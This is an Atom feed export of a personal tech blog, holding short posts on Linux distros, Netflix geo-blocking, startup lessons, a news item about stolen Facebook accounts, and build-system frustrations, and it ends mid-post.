<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-895676791003522397</id><updated>2012-01-15T02:11:45.707-08:00</updated><category term='go-freak.com'/><category term='testing requirements'/><category term='performance'/><category term='Techno-Jazz'/><category term='TechPain'/><category term='TechPhilosophy'/><category term='CoolTech'/><category term='Web services Architecture'/><category term='joomla'/><category term='google'/><category term='godaddy'/><category term='microsoft bing'/><title type='text'>WoOd’s TechLog</title><subtitle type='html'>Tech-talk: Philosophy, Technology and Goofiness</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>90</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4818805638112038142</id><published>2012-01-15T02:07:00.000-08:00</published><updated>2012-01-15T02:09:00.549-08:00</updated><title type='text'>Linux distro for linux web server?</title><content type='html'>What would be a good distro for linux web server? &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ubuntu Server vs Debian vs Centos vs RH?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4818805638112038142?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4818805638112038142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4818805638112038142' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4818805638112038142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4818805638112038142'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2012/01/linux-distro-for-linux-web-server.html' title='Linux distro for linux web server?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8247383108501079889</id><published>2011-02-08T07:55:00.000-08:00</published><updated>2011-02-08T07:58:37.733-08:00</updated><title type='text'>Asana</title><content type='html'>frustrated by how much time we spent trying to stay on the same page with everyone (making sure teammates have the information they need, figuring out what everyone’s working on, clarifying priorities, …) and doing “work about work” (progress report emails, meetings, 1-0-1's, status blah…)&lt;br /&gt;&lt;br /&gt;Atleast someone is working towards a solution:&lt;br /&gt;&lt;br /&gt;http://asana.com/2010/06/what-asana-is-building/&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://player.vimeo.com/video/19678551" width="400" height="226" frameborder="0"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/19678551"&gt;Asana Open House&lt;/a&gt; from &lt;a href="http://vimeo.com/user5965563"&gt;Jerry Phillips&lt;/a&gt; on &lt;a href="http://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8247383108501079889?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8247383108501079889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8247383108501079889' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8247383108501079889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8247383108501079889'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2011/02/asana.html' title='Asana'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-977429408827529203</id><published>2011-01-09T02:45:00.000-08:00</published><updated>2011-01-09T03:07:54.309-08:00</updated><title type='text'>Tryst with Netflix ends</title><content type='html'>Enjoyed a lot of movies, goofy comedies, gritty war movies and documentaries on Netflix.&lt;br /&gt;&lt;br /&gt;Problem is that netflix does not like to stream movies outside of US.&lt;br /&gt;May be Netflix co. does (I was a genuine paying Customer!) but some laws come into picture, literally.&lt;br /&gt;&lt;br /&gt;Hotspot shield seemed to be working initially but Netflix seemed to have detected it finally.&lt;br /&gt;It worked for a few days, but then i started to get an error after launching the movie "You cannot watch this movie from this location...".&lt;br /&gt;&lt;br /&gt;I could browse their catalog without any problem, which suggest me that their webserver could not detect my location. Quite obvisouly since &lt;a href="http://www.ip2location.com/"&gt;http://www.ip2location.com/&lt;/a&gt; did show my ip to be coming from US (After hotspot shield was connected).&lt;br /&gt;&lt;br /&gt;Now, It suggest me that Silverlight somehow detected my local geographic presence and sent that information to the streaming server.  Which quite obviously mismatched.&lt;br /&gt;&lt;br /&gt;To rule out this, I tried using Ultrasurf (which is another private VPN, but the bandwidth is bad). This worked like a charm! But watching movies with 'your computer has slowed down, buffering' every 10 mins was a pain.&lt;br /&gt;&lt;br /&gt;My Second theory is that Netflix has banned some proxy servers of Hotspot. Naturally they would be having a server farm, with some loadbalancing and initially I was lucky to get one proxy which was not yet banned!&lt;br /&gt;&lt;br /&gt;Sooner or later, they caught up, finally...Finally, I had to cancel my membership with Netflix. Can't keep paying $7.99 per month..&lt;br /&gt;&lt;br /&gt;As they say, Enjoy it until it lasts...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-977429408827529203?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/977429408827529203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=977429408827529203' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/977429408827529203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/977429408827529203'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2011/01/tryst-with-netflix-ends.html' title='Tryst with Netflix ends'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4669192884990137210</id><published>2010-08-17T20:50:00.000-07:00</published><updated>2010-08-17T21:00:38.249-07:00</updated><title type='text'>Vertical search space</title><content type='html'>"The ads revenue arbitrage in just letting consumers discover content via search is dead" Really?&lt;br /&gt;&lt;br /&gt;Coming up with a vertical search engine on Flash Games has been on my mind since some days. I am convinced that there is a real need for such a search engine. Getting users there favorite game, w/o going through multiple portals.&lt;br /&gt;&lt;br /&gt;until I read this:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.alootechie.com/?q=content/lessons-learnt-failures-gamecurry-youcharades-gamewokcom-alok-kejriwal"&gt;http://www.alootechie.com/?q=content/lessons-learnt-failures-gamecurry-youcharades-gamewokcom-alok-kejriwal&lt;/a&gt;&lt;blockquote&gt;&lt;a href="http://www.alootechie.com/?q=content/lessons-learnt-failures-gamecurry-youcharades-gamewokcom-alok-kejriwal"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;The site launched in mid 2008 and we promoted the service extensively using our own network, etc.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;The concept was a massive failure. Nobody seemed to return after using the site once and there was no viral traffic being built up. The worst part was that a service intended to help consumers was being spurned so badly. Much later we figured out that kids don’t search for games on search sites – they like to ‘stumble upon’ them.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;We failed at this project but learnt an important lesson all entrepreneurs must imbibe – &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102);"&gt;Even before you create an amazing solution, ask your consumers if they even want it? Your consumers will not use something made ‘easy’ if they never had a problem in the first place!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Something I need to remember when I start my Version 1.0 product.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4669192884990137210?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4669192884990137210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4669192884990137210' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4669192884990137210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4669192884990137210'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/08/vertical-search-space.html' title='Vertical search space'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3908014218749433145</id><published>2010-07-31T03:24:00.000-07:00</published><updated>2010-07-31T03:34:53.991-07:00</updated><title type='text'></title><content type='html'>Why more s/w engineer struggle after a few years in their career is &lt;br /&gt;because they always used their talent to succeed. &lt;br /&gt;&lt;br /&gt;"Excellence has nothing to do with talent.&lt;br /&gt; And in course of time ability and talent are the most useless virtue to possess.."&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/E-R8gfbump0&amp;amp;hl=en_US&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/E-R8gfbump0&amp;amp;hl=en_US&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3908014218749433145?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3908014218749433145/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3908014218749433145' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3908014218749433145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3908014218749433145'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/07/why-more-sw-engineer-struggle-after-few.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5135843261071301247</id><published>2010-05-26T21:18:00.001-07:00</published><updated>2010-05-26T21:20:07.223-07:00</updated><title type='text'></title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imgs.xkcd.com/comics/campfire.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 273px; height: 276px;" src="http://imgs.xkcd.com/comics/campfire.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5135843261071301247?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5135843261071301247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5135843261071301247' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5135843261071301247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5135843261071301247'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/05/blog-post.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3119194926097031290</id><published>2010-04-26T22:28:00.000-07:00</published><updated>2010-04-26T22:33:20.310-07:00</updated><title type='text'>1.5M stolen Facebook IDs up for sale</title><content type='html'>&lt;blockquote style="font-style: italic;"&gt;A hacker named Kirllos has a rare deal for anyone who wants to spam, steal or scam on Facebook: an unprecedented number of user accounts offered at rock-bottom prices ($25-$45 per 1000 accounts).&lt;br /&gt;&lt;br /&gt;Researchers at VeriSign's iDefense group recently spotted Kirllos selling Facebook user names and passwords in an underground hacker forum, but what really caught their attention was the volume of credentials he had for sale: 1.5 million accounts.&lt;br /&gt;&lt;br /&gt;To date, Kirllos seems to have sold close to 700,000 accounts, according to VeriSign Director of Cyber Intelligence Rick Howard.&lt;br /&gt;&lt;br /&gt;In one such scam, criminals send out messages from a compromised account, telling friends that the account's owner is trapped in a foreign country and needs money to get home&lt;br /&gt;&lt;br /&gt;"People will follow it because they believe it was a friend that told them to go to this link,"&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.computerworld.com/s/article/9175936/1.5M_stolen_Facebook_IDs_up_for_sale"&gt;more...&lt;/a&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3119194926097031290?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3119194926097031290/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3119194926097031290' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3119194926097031290'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3119194926097031290'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/04/15m-stolen-facebook-ids-up-for-sale.html' title='1.5M stolen Facebook IDs up for sale'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5162214042537981570</id><published>2010-04-05T21:41:00.000-07:00</published><updated>2010-04-05T21:53:27.697-07:00</updated><title type='text'>Proof Reading Docs</title><content type='html'>One of the valuable lessons I had from my previous job was to read &amp;amp; comment on documents.&lt;br /&gt;&lt;br /&gt;Design Docs, Test Documents, and other documents which by themselves had no meaning but were required to be created, proof read &amp;amp; maintained.&lt;br /&gt;&lt;br /&gt;All these have three important benefits&lt;br /&gt;1) Gives exposure to the product.&lt;br /&gt;2) Creates Visibility.&lt;br /&gt;3) People might value your input and might solicit your comments/approval next time by default.&lt;br /&gt;&lt;br /&gt;This of course has the hidden assumption that the comments given were meaningful, gave better insight and were valuable to topic of discussion.&lt;br /&gt;&lt;br /&gt;Its better not to say anything than to give out a stupid/vague comment.&lt;br /&gt;&lt;br /&gt;On a lighter note:&lt;br /&gt;&lt;a href="http://dilbert.com/strips/comic/2010-04-05/"&gt;http://dilbert.com/strips/comic/2010-04-05/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dilbert.com/strips/comic/2010-04-05/" title="Dilbert.com"&gt;&lt;img src="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/80000/6000/800/86847/86847.strip.gif" border="0" alt="Dilbert.com" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5162214042537981570?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5162214042537981570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5162214042537981570' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5162214042537981570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5162214042537981570'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/04/proof-reading-docs.html' title='Proof Reading Docs'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3314808669939421271</id><published>2010-03-15T06:28:00.000-07:00</published><updated>2010-03-15T06:32:38.630-07:00</updated><title type='text'></title><content type='html'>Someday I would like to work for Microsoft again.&lt;br /&gt;&lt;br /&gt;My previous stint with the company didn't impress me, but those were different times.&lt;br /&gt;A different role may be..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3314808669939421271?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3314808669939421271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3314808669939421271' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3314808669939421271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3314808669939421271'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/03/someday-i-would-like-to-work-for.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5780969301805871259</id><published>2010-03-14T19:18:00.000-07:00</published><updated>2010-03-14T19:20:05.041-07:00</updated><title type='text'></title><content type='html'>&lt;span id="watch-views"&gt;108 Million views, on &lt;a href="http://www.youtube.com/watch?v=E2tMV96xULk"&gt;you tube&lt;/a&gt; alone!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;object height="385" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/E2tMV96xULk&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/E2tMV96xULk&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="385" width="640"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5780969301805871259?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5780969301805871259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5780969301805871259' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5780969301805871259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5780969301805871259'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/03/108-million-views-on-you-tube-alone.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4649397470223256015</id><published>2010-03-14T18:48:00.000-07:00</published><updated>2010-03-14T19:13:05.138-07:00</updated><title type='text'></title><content type='html'>Facebook is a funny application.It lets you see lives of people you have forgotten,  people you don't want to see, people who will just waste your time and energy, if connected again.&lt;br /&gt;&lt;br /&gt;There was a reason why they were left behind in your past and crossing that boundary again has consequences. For example: Imagine seeing your &lt;span style="font-weight: bold;"&gt;ex &lt;/span&gt;girl friend pics. You know what i mean..&lt;br /&gt;&lt;br /&gt;Another simple example: How many of you really want to see this crappy post? Are you not better off without it?&lt;br /&gt;&lt;br /&gt;Will breaking this social boundary cause the social networking to fail, ever? for privacy reasons?&lt;br /&gt;&lt;br /&gt;Humans are best settled in smaller groups (than larger). So if FB keeps showing me people to connect to, and If i keep connecting, there will be a point of failure.&lt;br /&gt;&lt;br /&gt;or may be people are natural Voyeurs, who love to peep into others life...even those who were left behind...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4649397470223256015?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4649397470223256015/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4649397470223256015' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4649397470223256015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4649397470223256015'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/03/facebook-is-funny-application.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-2128721975159074547</id><published>2010-03-04T01:02:00.000-08:00</published><updated>2010-03-04T01:09:07.417-08:00</updated><title type='text'>Downhill Path</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/80000/3000/800/83823/83823.strip.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 640px; height: 199px;" src="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/80000/3000/800/83823/83823.strip.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What will you do if you find that your project (or company) is going a never ending downhill path?&lt;br /&gt;&lt;br /&gt;Many people will change jobs.&lt;br /&gt;&lt;br /&gt;But the higher you are in management, the higher your stakes (and credibility). Its strange that it makes sense for them to keep trying *things* (cost cutting, change of direction (of a crappy product) or new marketing strategy) until the whole money is gone...then blame it onto recession or something, and keep your career moving...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-2128721975159074547?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/2128721975159074547/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=2128721975159074547' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2128721975159074547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2128721975159074547'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/03/downhill-path.html' title='Downhill Path'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8106291744987374932</id><published>2010-03-03T23:28:00.000-08:00</published><updated>2010-03-03T23:39:35.305-08:00</updated><title type='text'></title><content type='html'>Unable to decide which one is better...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=tbkG6Za6w5s&amp;amp;feature=related"&gt;Cold November Rain&lt;/a&gt; || &lt;a href="http://www.youtube.com/watch?v=nVxnNNGjubg"&gt;Coming Back to Life&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hmmm, Definitely Pink Floyd.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8106291744987374932?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8106291744987374932/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8106291744987374932' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8106291744987374932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8106291744987374932'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/03/unable-to-decide-which-one-is-better.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-6303291015493447017</id><published>2010-02-25T06:37:00.000-08:00</published><updated>2010-02-25T07:06:32.112-08:00</updated><title type='text'>[techno-jazz] The Automated Build</title><content type='html'>The build system in my team is making me crazy...&lt;br /&gt;&lt;br /&gt;We have a bunch of c++ visual studio projects and lot of batch files invoking devenv directly on the vcproject. The problem is that the interdependency of different projects have outgrown above regular levels of sanity.&lt;br /&gt;&lt;br /&gt;Now, If its a single solution, then Visual studio can help manage the order in which they are built.&lt;br /&gt;But, if there are multiple teams working, then most often there will be different solutions.&lt;br /&gt;&lt;br /&gt;Problem arises when projects in different solutions have circular dependencies.&lt;br /&gt;&lt;br /&gt;There are a bunch of buildscript, which only one guy understands in my team and the order of building those vcprojects is kind of hardcoded inside the scripts.&lt;br /&gt;&lt;br /&gt;Now, I need a software which helps me managing various inter 